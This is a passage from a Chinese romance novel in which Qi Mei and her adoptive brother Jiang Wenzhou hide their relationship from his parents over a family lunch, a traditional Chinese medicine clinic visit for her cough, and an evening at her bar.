看她吃点东西都不好好吃,江问舟叹口气,冷不丁说一句:“幸好它不会说人话。” 齐眉一愣,有些疑惑地抬头看他。 “要是回了家,它突然对着你喊一声,妈!”江问舟眨眨眼,还是那样一本正经的语气,“这可怎么办?” 齐眉:“……” 吃了早饭,齐眉换了身衣服,这就出门回去了。 一路上齐眉都抱着金金,和它一块儿贴着窗往外看,叽叽咕咕地说着些没什么营养也没什么意义的话。 等红灯的时候江问舟扭头看他们,只看到两个凑到一起的后脑勺。 没有一个人理他,但他却觉得这一幕圆满得不得了。 那些从前在梦里出现的画面,正一点点出现在现实。 到家时恰好十二点,孙茂芸带着年年一起来开门,先是说了句:“诶哟,你们俩的时间居然能凑得上哦。” 然后伸手要金金,“金金,快来奶奶抱一下。” 齐眉有些心虚地跳过她前一句,将猫递给她,问道:“纪叔叔和小纪哥什么时候回去的?” “前天呀。”孙茂芸应道,招呼她赶紧进去,“外面晒死了,赶紧回去吹空调。” 客厅里江眀琮在泡茶,见齐眉回来,就招呼她:“来,喝茶。” 齐眉刚接过茶杯,就听孙茂芸道:“喝什么茶啊,吃饭了,要喝汤,每人两碗汤,不喝完要你们好看。” 老大发话,三人不敢有任何意见,齐眉赶紧把茶喝完,跟着孙茂芸去厨房。 孙茂芸一大早就去买了最新鲜的老母鸡,熬了一锅鸡汤,还放了鲜蘑菇,汤的味道鲜得能掉眉毛,齐眉只看了一眼就松了口气。 “这样的汤喝两碗完全没难度嘛。” 孙茂芸被她这话说得忍俊不禁,拍一下她胳膊,让她帮忙把饭碗拿出去。 再喊一句江问舟:“舟舟,来帮忙端菜。” 江问舟应了声,过来的时候刚好和齐眉在厨房门口碰上,他特地看她一眼。 齐眉觉得他这个眼神有点不太清白,下意识就往一旁挪了一步,故意避开他走。 江问舟被她这反应逗得一直发笑,孙茂芸见他心情好,还问他:“最近工作顺利吧,心情这么好?” “一直都顺利。”江问舟慢悠悠地应道,还说了句,“果然还是回家工作好。” “那是!”孙茂芸点点头,深以为然,“要不怎么说金窝银窝不如自己的狗窝呢。” 齐眉在外头帮忙摆桌,听到从厨房传出来的对话,明明和她没有任何关系,但就是忍不住耳朵一热。 饭菜摆好,一家人坐下,江问舟这次坐在了齐眉旁边,挪凳子的时候有意无意地往她那边一歪。 肩膀被江问舟碰到的时候,齐眉吓了一跳,差点就要跳起来,猛地一扭头,眼睛因为受惊都变大了一点。 江问舟立刻说抱歉,“我不是故意的,没事吧?” 当着江眀琮和孙茂芸的面,齐眉可不敢说什么,既不敢瞪他,也不敢吐槽他,只能摇摇头说没事。 孙茂芸哎呀一声,说:“你小心点嘛,毛手毛脚的。” “我注意。”江问舟大大方方地应道,等坐好开始吃饭了,还给齐眉夹了一条鸡腿,“这是赔礼,西西别生气。” 齐眉一噎,连忙摇头:“没有,没有……” 她讪笑一下,连忙低头喝汤,等到大家都开始吃饭了,左手才滑下桌,往旁边伸过去。 江问舟先是察觉她的手摸到了自己腿上,一口汤含在嘴里就是一愣。 这是做什么?她绝对不是在挑逗他,而是在想什么鬼主意让他也出一次丑,包的。 但是她要怎么做…… 还没想完,就有一阵尖锐的疼痛从腿上传来——齐眉狠狠拧了一把他的大腿内侧。 江问舟吃痛,腿忍不住往前一踢,动作有些大,还撞了一下桌腿,动静这就闹出来了。 齐眉见机立刻关切道:“怎么了?哥,你怎么啦?” 抽风了吗哈哈哈! 江问舟:“……” ————— 江家没有食不言的规矩,吃饭时大家都爱聊天,大概是因为以前大人工作都忙,吃饭时是一天中难得的相聚时光。 这种情况到现在依然存在,不管江问舟还是齐眉,都有各自的工作和生活,不可能每天都在家,所以他们每一次回来,孙茂芸和江眀琮都觉得是难得。 自然要抓紧时间和机会一家人好好说说话。 餐桌上话题一个接一个,从齐眉和江问舟最近的工作,到天气和国家大事,还聊了对门的邻居,甚至还提到了金金的生日。 “金金的生日是七月十五号,和西西没差几天,一起过?” 齐眉听了一愣,有点想挠头似的:“我还过啊?我不是都过了么?” 提前一个月就过了呀,大家一起吃了饭,切了蛋糕,她收到礼物和红包,甚至还…… 她忍不住往左偏了偏脸,瞥一眼说出提议的人,耳朵又烫了起来。 江问舟淡定道:“就是一起吃个饭,没上次那么正式,礼物和红包都没有喽。” “到时候就给金金开一个罐头,在上面插一根蜡烛,把它眼睛捂上,准备好了再松手,它看到了肯定觉得惊喜。” 大人被他说得笑起来,说那也行吧,家庭聚餐嘛,找个由头显得正式一点。 齐眉有些不好意思,但也觉得很好笑,抿着嘴角也笑起来,眼睛弯成了明显的月牙。 孙茂芸这时说:“也是巧,居然跟西西的生日挨着的。” 齐眉闻言笑容一顿,连呼吸都不由自主地屏了起来。 她有些不敢看江问舟,怕自己会因为他的回答,而泄露了什么痕迹。 但江问舟却语气平静地应道:“是啊,很巧,确定可以接这只猫之后,我才知道它的生日是这个日子。” 齐眉一愣,忍不住扭头看一眼江问舟。 正好和江问舟瞥过来的视线在半空中相撞,看到他眼里淡淡的笑意,那笑意里好像还有一点揶揄。 “这家猫舍是向师兄家嫂子介绍给我的,她弟弟家的猫就是这家出来的,品相、体质和性格都很好,除了贵没别的毛病。” 江问舟说到这里笑起来,“偏偏申城有人钱最多,这点缺点根本不值一提。排队等接猫的家长很多,他们对家长的要求也水涨船高,我又是第一次养猫,说实话,成功率很低的。” “那后来是怎么接到的?”江眀琮忍不住立刻问道。 齐眉和孙茂芸也不自觉地停下吃饭的动作看向他,这还是他们第一次听说到接金金回家的背后故事,之前还以为能给得起这几万块,就直接接回来了。 “原因很多吧。”江问舟解释道,“首先我是老家长介绍过去的,工作和收入都稳定,可以给猫提供稳定的住所这些基础条件,其次我们聊了之后才发现,猫舍的主理人其实也是申大毕业的,是校友。” 在学校的时候不觉得,但等出了社会,就会发现遇到一个校友和遇到老乡的感觉真的太像了。 来自同一所学校这件事,好像自带某种buff,让人忍不住心生亲切,从而拉近彼此之间的距离。 “这么巧。”孙茂芸不由得惊讶。 “巧合不止这一桩。”江问舟嗯了声,还看了眼齐眉。 齐眉被他这一眼看得突然心头一跳,呼吸又慢了半拍。 这时大家的饭基本都吃得差不多了,江问舟更是只剩一口汤,他仰头把汤喝完,才继续道:“主理人的爱人认识西西。” “啊?” “这么巧?” “……谁啊?我不认识谁是开猫舍的啊?” 一句话干懵三个人,江问舟为自己的吓人能力感到满意,看着他们笑起来。 于是齐眉就说:“你骗人的吧?” “当然不是。”江问舟摇摇头,冲她眨眨眼,“我怎么会用这种事来骗你……们。” “所以是怎么回事?”孙茂芸好奇极了。 “主理人的爱人也是我们临医毕业的,应该说是……”他歪头想了想,“西西的学姐,比你高两届。” 齐眉一愣,觉得他这说法很奇怪:“……那不也是你的学妹?” “但是人家不认识我啊。”江问舟失笑,“你大一的时候是不是进了院学生会的外联部?” 齐眉嗯的点点头,她本来不是想去外联部的,但进去之后才说要把她安排过去,说是可以锻炼社交能力如何如何,齐眉被忽悠得一愣一愣的,也就没反对。 外联部其中一项重要工作是要去拉赞助,齐眉后来发现每次拉赞助他们都要把她喊去,一开始还以为真的要教她什么呢,结果有一次聊完,那个老板说要开车送他们回去,说什么太阳太大,晒伤了可不漂亮了,边说还边看一眼齐眉。 然后外联部那个该死的部长,居然提出让对方送齐眉回去,说他们无所谓,齐学妹可不行,如何如何。 幸好齐眉及时反应过来,说我哥会来接我,你们先走吧,然后火速给江问舟发信息让他来接自己。 这事江问舟自然也知道了,建议她还是退出学生会算了,因为谁也说不准下次会不会遇到比今天更过分的事。 可是齐眉提出申请的时候,没有被立刻批准,因她没有把想退出学生会的真实原因说明白,学院负责学生工作的老师还让他们部长来劝她。 齐眉都没搭理这人,直接就跑了,回去就跟江问舟抱怨,江问舟想了想说,你别管了,我来处理。 隔了几天,齐眉再一次提出这事,竟然真的很顺利就办好了,她惊讶地同江问舟说起,江问舟一副毫不意外的表情说,临医学生会的官僚气息很重。 至于为什么之前不同意现在又同意了,江问舟解释说:“你们部长想考张静教授的研究生,我跟他说,巧了,前两天我才跟张教授一起吃过饭。” 末了又说:“以后别跟他来往,他这样的人,算得上是为达目的不择手段了,今天能为了那点赞助费做出试图扔下女同学的事,明天就能为了别的利益把朋友推进火坑,当医生也不会做得好的。” 事情已经很多年,都是她大二时的事了,江问舟现在忽然说起,她便忍不住心里一紧。 立刻用眼神示意他别跟干爸干妈说这件事。 江问舟没看她,只借着桌子的遮挡,轻轻用手背碰了一下她的腿边,似是安抚。 “主理人的爱人那时候也在学生会,是隔壁宣传部的,知道外联部来了个特别漂亮学妹,还跟大家一起去看过西西,后来开会也见过,不过没怎么说过话,有这么久了,所以西西才没印象。” 他笑着同父母解释,还讲起当时:“你们大概不知道,很多人认识西西的,一说他们那一级临五1班那个最漂亮、又会打扮的女生,大家就都知道是谁了。” 说完有些忍俊不禁地看一眼齐眉,看她有些不好意思地抿抿唇微微别过脸去。 接着就听到孙茂芸哈哈笑道:“那是,我们西西最漂亮了。” 江眀琮接话道:“果然谁养的像谁,我们那会儿警校的女生基本都不打扮,所以你说西西像谁?” 最后一句是笑着问孙茂芸的。 孙茂芸翻了个白眼:“那咋了,年轻时候没人羡慕你艳福不浅?” “那倒也是。”江眀琮笑起来,调侃说,“以前每次出任务,他们都跟我说,老江你可得平安回来,不然你这么漂亮的媳妇可就见不着喽。” 接着他又看江问舟,突然就开始揭他老底:“舟舟也是,小时候也讲究打扮,大了才好了。” 齐眉一听这话,立刻好奇地扭头看江问舟一眼,问他:“真的?” 江问舟说没有的事,江眀琮就说:“怎么没有,你小学二三年级那会儿,有一次你妈给你买了双运动鞋,不是你喜欢的颜色,死活都不肯穿,就穿一双烂了的,搞得人家都以为我们虐待你,真忘啦?” 哦哟,还有这种事呢! 齐眉立刻扭头兴奋地看向一旁,江问舟眨眨眼,神色淡定地摇摇头:“不记得了。” 齐眉一听就露出一个我不信的表情,看得他面皮有些发紧,赶紧扯回话题,说正是因为这样的缘由,金金的原猫舍才把金金交给了他。 一家四口说说笑笑,谁也没提齐眉之前跟人发生冲突进了派出所的事,直到收完碗筷。 江眀琮温声道:“西西,我们去聊聊你之前……自我防卫的事?” 齐眉脸上的笑顿时一凝,下意识地看向江问舟。 “这事我不是跟妈解释过了么?”江问舟问孙茂芸,“您没跟爸说?” “说是说了,但是……”但是她更多的是委屈自己被老熟人误解,江眀琮顿了顿,继续道,“但是我也要听听当事人是怎么说的嘛。” 但其实事情也没什么好说的,齐眉一五一十把当天发生的事对两位家长说了一遍,说到对方被他姐姐揪着来道歉,她跟着江问舟回家,就停了下来。 “没了?”江眀琮问道。 齐眉点头:“没了。” 江眀琮应了声好,紧接着问她:“你店里就有酒,还有陆阳那边也有好几个场子,你怎么还要去别的地方喝酒?” 他的语气和目光看起来都很随意,可齐眉却忍不住后背一凉,神经立刻就紧绷起来。 “就是……”她眨眨眼,“我想去看看别人家的酒有没有新鲜玩意,万一有新款,说不定我也能学学。” 这个理由倒也说得过去,江问舟看一眼*她还算镇定的神色,忍不住啧了声。 可真是怀念以前那个一点谎都不会说的齐西西呀。 齐眉听见他的啧声,忍不住转头看向他,瞪了他一下,直接问他:“哥你什么意思?” 这会儿叫哥倒是叫得干脆又自然了,好像之前死活张不开口的那个人不是她一样。 江问舟失笑,道:“听起来很像……我们去进修?去别的单位看看人家有没有新的技术,有的话就学两手。” 语气玩笑调侃,仿佛对从派出所出来之后的事一无所知。 齐眉忍不住在心里撇嘴,但表面还是笑眯眯地点点头,嗯嗯两声:“可以这么理解,每个调酒师的风格不一样,灵感也千奇百怪,出品也很有意思,我在那家酒吧喝到一杯用汾酒浸泡桂花做基酒的,很好喝哦,干爸你……” “不准喝。”孙茂芸的声音凉凉的,“高血压警告。” 江眀琮一噎,齐眉立刻笑嘻嘻地往一旁倒,靠在沙发扶手上,正好金金和年年过来,立马一手一个把它们搂过来,亲一口这个,又亲一口那个。 看起来贪心极了,逗得大家一阵好笑。 孙茂芸则是在笑过后又专注吐槽陈阿姨,说对方和自己认识这么多年,居然还不知道他们家对两个孩子都是一视同仁,幸好江问舟和她侄女成不了,不然以后肯定会发生矛盾,云云。 齐眉听到这里,就扭头看向江问舟,偷偷剜他一眼。 江问舟一点都不心虚,反而侧头冲她笑笑,拍拍沙发:“年年,金金,给一个来理理我。” “不去,我们不去哦。”齐眉立刻手脚并用把两个小家伙拦住。 江问舟立刻打断孙茂芸的吐槽:“妈你快管管她,那是我的猫。” “给妹妹玩一下能怎么样,你真小气。”孙茂芸正在气头上,立刻骂了一句。 齐眉又幸灾乐祸地嘻嘻两声。 江问舟撇撇嘴,抬手看看表,道:“快两点了,走吧?再晚医生该下班了。” 就这样,齐眉进派出所的事在江家被轻轻拿起,又轻轻放下, 最后的结果是江问舟跟孙茂芸说:“妈以后不用给我安排什么相亲了,没这个必要,我的问题我会解决。” 孙茂芸一口答应:“好,以后我不管你俩这事了,真的是,太烦人了。” 江问舟笑笑,看一眼齐眉。 齐眉正在收拾年年的东西,察觉他的目光,回头看他一下,继续若无其事地低头忙碌。 只是在出门时,江问舟来接她手里的东西,她借着东西的遮挡,指腹在他的手心里蹭了蹭。 江问舟微微一愣,嗔了她一眼。 抬眼看看父母都走在前面,根本没人注意他们俩,便凑到她耳边小声问了句:“你说我现在要是跟爸妈说……” 说什么?齐眉不想听,把东西塞他手里,一溜烟往前跑远,年年二话不说就追了上去。 金金看一眼他们,往前走了一步踏进阳光里,又往后一缩,抬头望着江问舟喵了声。 江问舟顿时失笑,弯腰把胳膊递过去:“烫脚是不是?你妈妈也真是的,竟然不管你。” 猫咪啊的应了一声,轻盈一跃,跳进他的怀里。 第43章 第四十三章(二合一)别贴这么近,一…… 齐眉要去看的那家叫百草堂的医馆就在现在的江家往市区走的路上,属于城市的近郊,离高速不远,临近着容江支流,背后南山苍翠高耸的山峰仿佛近在咫尺。 江问舟和江眀琮父子俩一前一后停好车,将年年和金金留在车里,下车以后大家一起往前面一处院子走。 孙茂芸还说:“以前还真没怎么来过这边,这是舟舟你同事家开的呀?风景是真不错。” 江问舟点点头,又解释:“不过我是通过这位同事的爱人知道的这里。” 他本人和中医科的交集还不多,只知道组里有些病人会请中医科的会诊,反而是和呼吸科交集不少。 午后的阳光太晒,大家的脚步都不由自主地加快,急匆匆地走进医馆大门,灼热的阳光瞬间便被空调的清凉取代。 齐眉一口气还没喘完,就听一道女声传来:“江医生。” 扭头闻声看去,只见一位留着短发的年轻女郎坐在一张摇椅上,正冲他们这边笑着挥挥手,她穿着白色的短袖T恤衫和宽松的牛油果绿阔腿裤,踩着人字拖,看上去十分悠闲自在。 她的身边还有一黑一白两只猫,养得油光水滑,背影敦敦实实,一看就是实心的。 人看着眼熟呢,齐眉立刻回头看江问舟。 江问舟一面领着家人往那边走,一面笑着同对方打招呼:“舒医生也在。” 舒医生笑道:“自己在家也没意思,不如过来玩。” 说着看一眼齐眉,关切问道:“妹妹咳嗽是怎么样了?干咳么,还是有痰?” “基本是干咳。”齐眉乖巧地点点头,“就是有时候喉咙发痒,咳起来很难停下,咳完了喉咙疼。” “听着像肺阴虚呢。”舒医生道,“吃点滋补肺阴的估计能好,不过得让厉宁述他小叔看看,挂个号吧?” 江问舟笑道:“让厉医生看看也可以。” “也行啊,那得多谢你们信任他。”舒医生笑眯眯的,探头同孙茂芸和江眀琮打招呼。 孙茂芸诶地应了声,低头看两只猫,问道:“这是你们家养的猫啊?真漂亮,这毛看着真好。” “厉宁述养了好几年了,我们家食物链顶层。”舒医生笑嘻嘻地招呼俩猫,“小白,煤球,给爷爷奶奶喵一个。” 活似让孩子给人表演的家长。 白猫不吭声,倒是黑猫冲她凶巴巴地嗷了声,似乎有什么不满。 舒医生耸耸肩:“好啦,你不叫煤球,叫老黑,知道知道,我错了行吧。” 齐眉被他们的互动逗乐,弯腰伸手想摸摸它,黑猫便仰起脸看着她,一副乖巧的模样。 齐眉便像摸金金那样,拇指的指腹从它鼻梁上摸过,一直到头顶,一下又一下,猫的眼睛很快就眯了起来。 “妹妹撸猫很熟练诶,平时没少撸吧?”舒医生笑嘻嘻地问道。 “我们家也有一只猫,是金渐层。”齐眉干脆蹲了下去,一面挠着猫下巴,一面应道,“还有一只狗,是萨摩耶。” 舒医生哇了声,在她旁边也蹲下来,摸摸凑过来的白猫,挠挠它的下巴,“我们家是黑白双煞,你们家是猫狗双全,这都是什么人生赢家剧本啊!” 江问舟挂完号,扭头便看见齐眉笑得跟朵花一样,眉眼弯弯的,面颊泛着淡淡的粉色,明眸皓齿,顾盼生辉。 正声音欢快地问他同事:“你想看看它们吗?它们就在车里吹空调,没进来。” 舒医生立刻点点头:“快带进来一起玩啊,我们这里不禁止宠物入内的。” 齐眉应了声好,收回撸猫的手,腾一下就站起身,几乎是同时,江问舟闪到了她的身边,在她没站稳开始摇晃的第一时间,伸手撑住了她的腰。 “慢一点。”他有些无奈地提醒,“蹲久了不要起这么猛,说过多少次,怎么就改不了?” 齐眉有些讪讪,咬着舌尖不好意思地笑笑。 一边缓解着小腿上的酸麻,一边低声道:“我想去带年年和金金来和舒医生认识一下。” 江问舟有些惊讶,看一眼低头看信息的舒医生,问齐眉:“你们聊这么好?” 齐眉微微扬起眼,咬着唇朝他笑笑,又眨眨眼。 好像在说,是啊,你说这是为什么呢? 江问舟想想以前,顿时就笑起来,伸手拍拍她后脑勺,温声道:“过马路小心点,可以用航空箱把金金装过来……” 说到这里顿了顿,又改口:“算了,我去带吧,这个天气,金金不肯走路,它要抱的。” 齐眉应好,送他到门口,回头一看,舒医生和黑猫不见了,只有白猫一个留在原地。 孙茂芸和江眀琮正在柜台那边,跟人家店员正在比划什么,好像是要看药材。 过了大概十分钟,江问舟身上挂着金金,手里牵着年年回来了,先站在门口往里看了一下,准备找个避开人的地方进去。 “江医生,妹妹。”舒医生的声音从另一头传来,招呼他们,“快过来这边。” 齐眉循声看去,见她站在一道门边,手撑起了门帘,还嘬嘬叫着白猫:“小白,快来吃下午茶了。” 话音刚落,白猫就起身一溜烟跑了过去,贴着她的腿往里走。 门帘之后是后院,正中的天井里摆放着晾晒药材的架子,煎药室里传出很重的泛着苦涩的汤药味道,另一边挂着仓库的牌子,另外就是食堂,黑猫蹲在门口已经开始品尝它的下午茶了。 年年是个超级自来熟,当时在家第一次见到金金就主动去拱,现在看见新的猫咪,自然也很感兴趣,扯着牵引绳就往人家那边凑。 刚靠近就挨了黑猫一巴掌,它愣了一下,一点都无所谓的,继续往白猫身边凑。 白猫的名字叫小白,性情温顺很多,对年年也不排斥,只是往旁边跑开了而已。 年年还想去追,但金金不乐意了,从江问舟怀里挣扎下地,上去就揍臭妹妹。 黑猫一看,嘿,还有人想打它,我也来! 一时间两猫一狗大乱斗,还有一猫看热闹,齐眉他们惊慌失措,连忙下场劝架,各自把自家孩子揪回来批评教育。 好不容易安抚好毛孩子们的情绪,还没来得及吐槽,孙茂芸就找过来了:“哎呀,你们怎么在这儿啊,到你们看诊啦!叫号都叫两遍了,你们没听见呀?” 赶紧将年年和金金交给她和江眀琮,俩人急急忙忙出来往诊室走,诊室门口进去就见一排跟医院里一样的不锈钢座椅,对面是两个小隔间,江问舟领着齐眉进了靠近门口的那间。 里面坐着一位和江问舟年龄相仿的年轻男医生,眉眼温和儒雅,仿佛有种与生俱来的随和淡然,很符合齐眉对中医的某种刻板印象。 见他们进来,他起身同江问舟握手,笑着道:“常听舒檀提起心外科来了位很年轻又很厉害的同事,一直没机会见面,没想到第一次正式见面是在这儿。” “我也没有想到。”江问舟失笑,调侃道,“还以为第一次见面怎么也得是在病房,没想到……” 说着拉开椅子,推着齐眉的后背让她坐下。 “令妹也是病人,这儿也算是病房。”厉医生笑着看一眼齐眉,带着点仔细端详的意味,“咳嗽是什么时候开始的?” 厉医生问了些齐眉开始咳嗽前后的症状,吃了什么药,平时作息怎么样,聊了一会儿,看她整个人都平静下来了,这才给她把脉听诊。 最后的结果就跟刚才舒医生提过的差不多,“一开始是风热,时间一长,就成了肺阴亏虚,肝火还有点旺,最近是不是有什么不高兴的事?” 齐眉闻言呼吸立刻一顿,下意识地抬头去看江问舟。 妈耶!这也能看出来的吗?看中医的风险真就这么大? 江问舟抬手拍拍她后脑勺,对厉医生点点头,语气平静地道:“是碰到点比较麻烦的事,有些着急上火,不过现在已经处理好了。” “那就好。”厉医生点点头,温声地劝,“不管遇到什么事,还是要放宽心,别动气,心情好身体才能好。” 一面说一面开药,问她:“怕不怕苦?” 齐眉立刻点头,对方哈地笑了一声:“那就让你哥给你买包糖,每次喝完药含一颗。” 齐眉:“……”那就是这药还是苦呗:) 她的脸立刻鼓了起来,江问舟见状忍俊不禁,伸手戳了一下她的脸。 齐眉吓了一跳,抬头瞪他,还用力拍一下他的手背,被他一把捉住手指。 “药是自己回去煮,还是这边代煎?” “……代煎吧,我方便带去上班喝。”齐眉立刻迅速抽回手,心怦怦直跳。 幸好干爸干妈都没跟过来,不然看到他们这样…… “先开五剂药吃吃看,到时候复诊看看有没有起色,我们再调药,怎么样?” 齐眉屈指一算,“可是第六天我正好上班,不能及时复诊诶。” 厉医生问了一下她的工作安排,笑道:“差一天不要紧的,你下了班再过来也可以。” 顿了顿,他又提醒:“去一附院挂中医科的号就可以了,不必跑这么远的。” 齐眉忙点头应好。 对方一面签字,一面交代她要一天喝两次,嘱咐她每天早点睡,别熬夜,多运动多晒太阳,不管做不做得到,齐眉一应点头说好。 江问舟笑吟吟地看着她乖巧的样子,抬手轻轻拍了一下她的后脑勺。 药方开好,江问舟和对方又聊了几句,等下一位病人来了,才笑着道:“改天请你和舒檀吃饭。” “我随时都可以,看你们时间。” 齐眉一边听他们说话,一边低头看药方,什么沙参麦冬都有,看着怪像汤料的,但又有几味一看就觉得苦的药,忍不住打个哆嗦。 等从诊室出来,江问舟才笑着逗她:“真要给你买糖?” 齐眉一噎:“……不要!我又不是真的小孩。” 哪里不像了,江问舟一阵乐不可支,还是抬手要揉她脑袋。 齐眉偏头躲开,嘟囔着你知道我做一次头发多贵吗,加快脚步走进大堂。 进门就看见年年它们正围着孙茂芸,三猫一狗,竟然都很乖巧地蹲在她脚边,大有排排坐吃果果的样子,旁边来抓药的客人都笑嘻嘻地看着它们。 江问舟叫了声妈,问她在做什么。 齐眉去交药方抓药,听到孙茂芸吐槽:“家里孩子多就是会这样,真不知道鼓吹生三胎是怎么想的,哪顾得过来哦。” 她听了不由得失笑,回头一看,只见孙茂芸抓着一把冻干在指挥几个毛孩子:“坐好,一人一颗,来,小黑,这是你的……诶诶诶,年年坐下!” 原来是在分冻干啊,难怪能让它们这么听话。 交完药方,齐眉回来,问孙茂芸:“舒医生呢,怎么不见?干爸去哪儿了?” “爸开电瓶车和舒檀去前面雪糕批发店买雪糕去了。”江问舟回答道。 齐眉:“???”不是,这就混熟啦? 她眨眨眼,看向江问舟:“咱们也去看看?” 江问舟看向孙茂芸:“妈?” “去吧去吧,门口就有共享单车,你们骑车去快一点。”孙茂芸爽快摆摆手。 可惜共享单车不能载人,江问舟只看了一眼就把齐眉拽走了。 还美名其曰:“散散步,多运动运动,你忘了厉医生怎么交代你的?” 齐眉:“……”人家没让我晒下午三四点的太阳! 她骂骂咧咧地撑开伞,递给江问舟,理直气壮道:“高个儿的撑伞!” 江问舟撑伞就撑伞,偏偏还要故意逗她,走着走着就把伞往自己这边挪,齐眉没发现他的小动作,发现自己被晒到了,就往他那边挪挪,越靠越近,最后几乎整个人贴在他胳膊上。 这时他就清清嗓子,慢悠悠地说一句:“别贴这么近,一会儿让爸看见了,你怎么解释?” 齐眉一怔,回过神才发现他们之间的距离近得有点离谱,而就在马路边上,谁也说不准江眀琮会不会突然从哪个角落冒出来。 她立刻弹开,被灼热的阳光一烫,觉得整个人都开始冒火,脸上的温度咻一下,坐火箭起飞。 抬眼就看见伞下的人正笑眯眯地看着自己,眉眼弯弯的,招呼她:“快进来,晒黑了怎么办?” 齐眉:“……”那也是你害的!!!! ————— 齐眉的药是代煎,需要等待比较长的时间,等她的药出锅分装打包好,已经是傍晚时分。 这时他们不仅已经干完了刚买回来的一袋雪糕,还打了两个多小时的扑克。 当然,吃雪糕这件事跟齐眉是没什么关系的,因为她咳嗽,孙茂芸禁止她吃雪糕。 “就是要让你吃个教训,看你还敢不敢天天玩手机玩到半夜!” 齐眉:“……”天啦!这跟玩手机又有什么关系?! 她很有意见,但不敢吭声。 江问舟和舒医生同样明显一副无力吐槽的模样,但他们刚要帮齐眉讲情,就被孙茂芸问到脸上:“你们说是不是?” 这俩人哪敢说不是,江问舟简直一秒叛变,甚至绞尽脑汁开始寻找所谓的科学依据:“呃……确实不太好,太凉的东西会刺激咽喉黏膜……” 他说了几句听起来好像很有道理的话,越说越觉得自己背后发凉。 但是不敢回头看:) “没错,就是这样。”孙茂芸拍拍他肩膀,一脸欣慰状,“可见是长大了,也是,你这把年纪了,是该好好保养了。” 江问舟:“???” 还别说,这话怪让人暖心的,起码他后背现在是不凉了:) 齐眉不能吃雪糕,但她很积极地给大家安利了一个她觉得很棒的吃法。 “你们知道阿芙佳朵吗?在杯底放上一球意式冰淇淋,再浇上一小杯意式浓缩咖啡,味道特别浓郁,苦甜交织,化了以后雪糕和咖啡融为一体,口感更棒,讲究的店家会用冰杯,那样冰淇淋不会立刻开始融化,可以慢慢品味。” 当然啦,现在条件所限做不成真正的阿芙佳朵,但咖啡公式却可以照抄,“舒医生这儿有没有咖啡?挂耳,速溶,或者条装的浓缩咖啡液,有吗?” 她边问边指指他们买回来的杯装冰淇淋。 舒檀摇摇头,但是,“旁边有咖啡店的呀。” 那更好了,去隔壁买几份浓缩咖啡,回来往雪糕上一浇,刚煮出来的浓缩还是烫的,倒进去的那一刻,就可以看见雪糕开始融化的痕迹。 果然大家都说好吃,齐眉笑眯眯地点点头,看起来比自己吃到嘴还高兴。 江问舟逗她:“这就是你作为一个酒吧老板的信念感吗?” 齐眉笑眯眯地眨眨眼,问他:“你就说好不好吃吧?” 江问舟点点头,她接着问:“下次还这样吃好不好?家里还有雪糕。” 说着还朝他眨眨眼,江问舟秒懂,这个“家里”指的是她住处。 他忍俊不禁地再点点头,孙茂芸就说:“下次在家里就可以做你说的那什么朵了是吧?” “是呀。”齐眉笑嘻嘻的,“好吃就多吃,我之前连着这样吃了半个多月,胖了六斤。” 一句话说得大家手里的雪糕勺子继续送进嘴不是,放下也不是。 好家伙,合着在这儿等他们呢,不让她吃,她就让他们都长胖是吧? 江问舟没好气地看向他,还没来得及说什么,就见她理直气壮地瞪着他,先发制人地问道:“怎么啦,你有什么意见?” 他突然就明白过来,这人是在报复他刚才没站她这边,帮她争取吃雪糕的机会,哪怕一口呢? 她的理直气壮里其实藏着一点委屈,虽然知道大家都是为她好,可是…… 要不你们都不吃,或者避开我呢,特别是你江问舟! 江问舟顿时有些愧疚,点点头叹口气:“没有意见……” 话没说完,一旁舒医生反应过来了,大喜过望:“还有这种好事?我要让厉宁述也吃半个月!” 她拿了一个雪糕匆匆出门,过了一会儿又回来,直接去了诊室,再回来时,手里多了一副扑克牌。 几个人一直打牌打到下午五点多快六点,齐眉的药这才煎好,大家提着一袋子药在门口同舒医生道别,还说下次有机会一起吃饭。 太阳已经下山,金金不再抗拒自己走路,甩着尾巴迈着猫步溜溜达达走到车门边。 齐眉拉开车门,年年刚跳上去,就听孙茂芸回头们:“你俩明天回来吃饭吗?” 她问得很自然,仿佛默认他们是一起的,齐眉听了心头一跳,生恐自己露出什么马脚,立刻点点头:“我回的。” 然后扭头很刻意地问江问舟:“你回吗?” 江问舟比她淡定多了,嗯了声,对她说:“我去接你。” 齐眉眨一下眼睛,应了声好,随即嘴角一抽,有些尴尬地转头。 妈呀,当着干爸干妈的面演戏的感觉好奇怪,我良心好痛呜呜呜。 “那你让年年和金金过来,我们先带它们回去,明天你们走的时候再接走。”孙茂芸冲金金招手,嘬嘬嘬地吸引它的注意力。 哦,原来是为了俩小的。 齐眉还没来得及说什么,江问舟就帮她答应了,还说:“那我晚上去接西西。” 孙茂芸立刻说好,还表示:“这是你这个当哥哥该做的,反正你晚上也没什么事。” 这下轮到江问舟笑得有些讪讪。 两个人都心怀鬼胎,将年年和金金送上父母的车后,便麻溜的回了自己车。 全然没发觉江眀琮投过来的有些探究的目光。 上了车,江眀琮一边启动车子,一边问孙茂芸:“你有没有觉得舟舟和西西有没有什么……不一样的了?” 孙茂芸被问得一愣,啊了声,皱眉抿唇细细回忆,沉吟半晌才突然一拍手掌:“你别说,还真是有点感觉!” 江眀琮让她说说看,她就高兴地说:“我觉得他们好像关系好点了,就像以前他们还一起上学那会儿,可能是西西最近生病,舟舟跑前跑后给她找关系看病,她去派出所了,舟舟又去接她帮她处理了手尾有关系。” “我就说嘛,亲人之间,就算几年不来往,只要互相帮忙,多走动,关系自然就恢复了。”她笑呵呵地道,“他们俩打小关系就好,情分怎么可能才两三年没一起吃饭就没了呢,对吧?” 江眀琮觉得哪里不对劲,但又没办法反驳妻子的话,半晌只好点点头。 一家四口没有一起吃晚饭,到了高速路口就分道扬镳,江眀琮和孙茂芸带着一猫一狗回村,齐眉和江问舟则是回市里。 到店里已经过了晚上七点半,已经开始营业,位置都坐了一多半,齐眉他们进门时,正好有客人在吧台点单,说要一杯迈阿密海滩。 迈阿密海滩要用到养乐多,齐眉扭头问江问舟:“你要喝养乐多吗?” 江问舟摇摇头:“我要一杯柠檬水就好。” “加薄荷?”齐眉问道。 江问舟说好,她便笑起来:“那再加点糖浆吧?” “……调酒老师,我要一杯无酒精版莫吉托,记你们老板账上。”江问舟干脆越过齐眉对吧台里的佟林一本正经地道。 听了他们对话全程的佟林发现竟然还有自己的事呢?忍不住一愣,旋即反应过来有些忍俊不禁。 齐眉则是乐不可支地笑出声来,趴在吧台边冲着厨房里问汪淼:“大厨,我们的饭好了吗?” 声音欢快又轻盈,听上去她似乎十分开心。 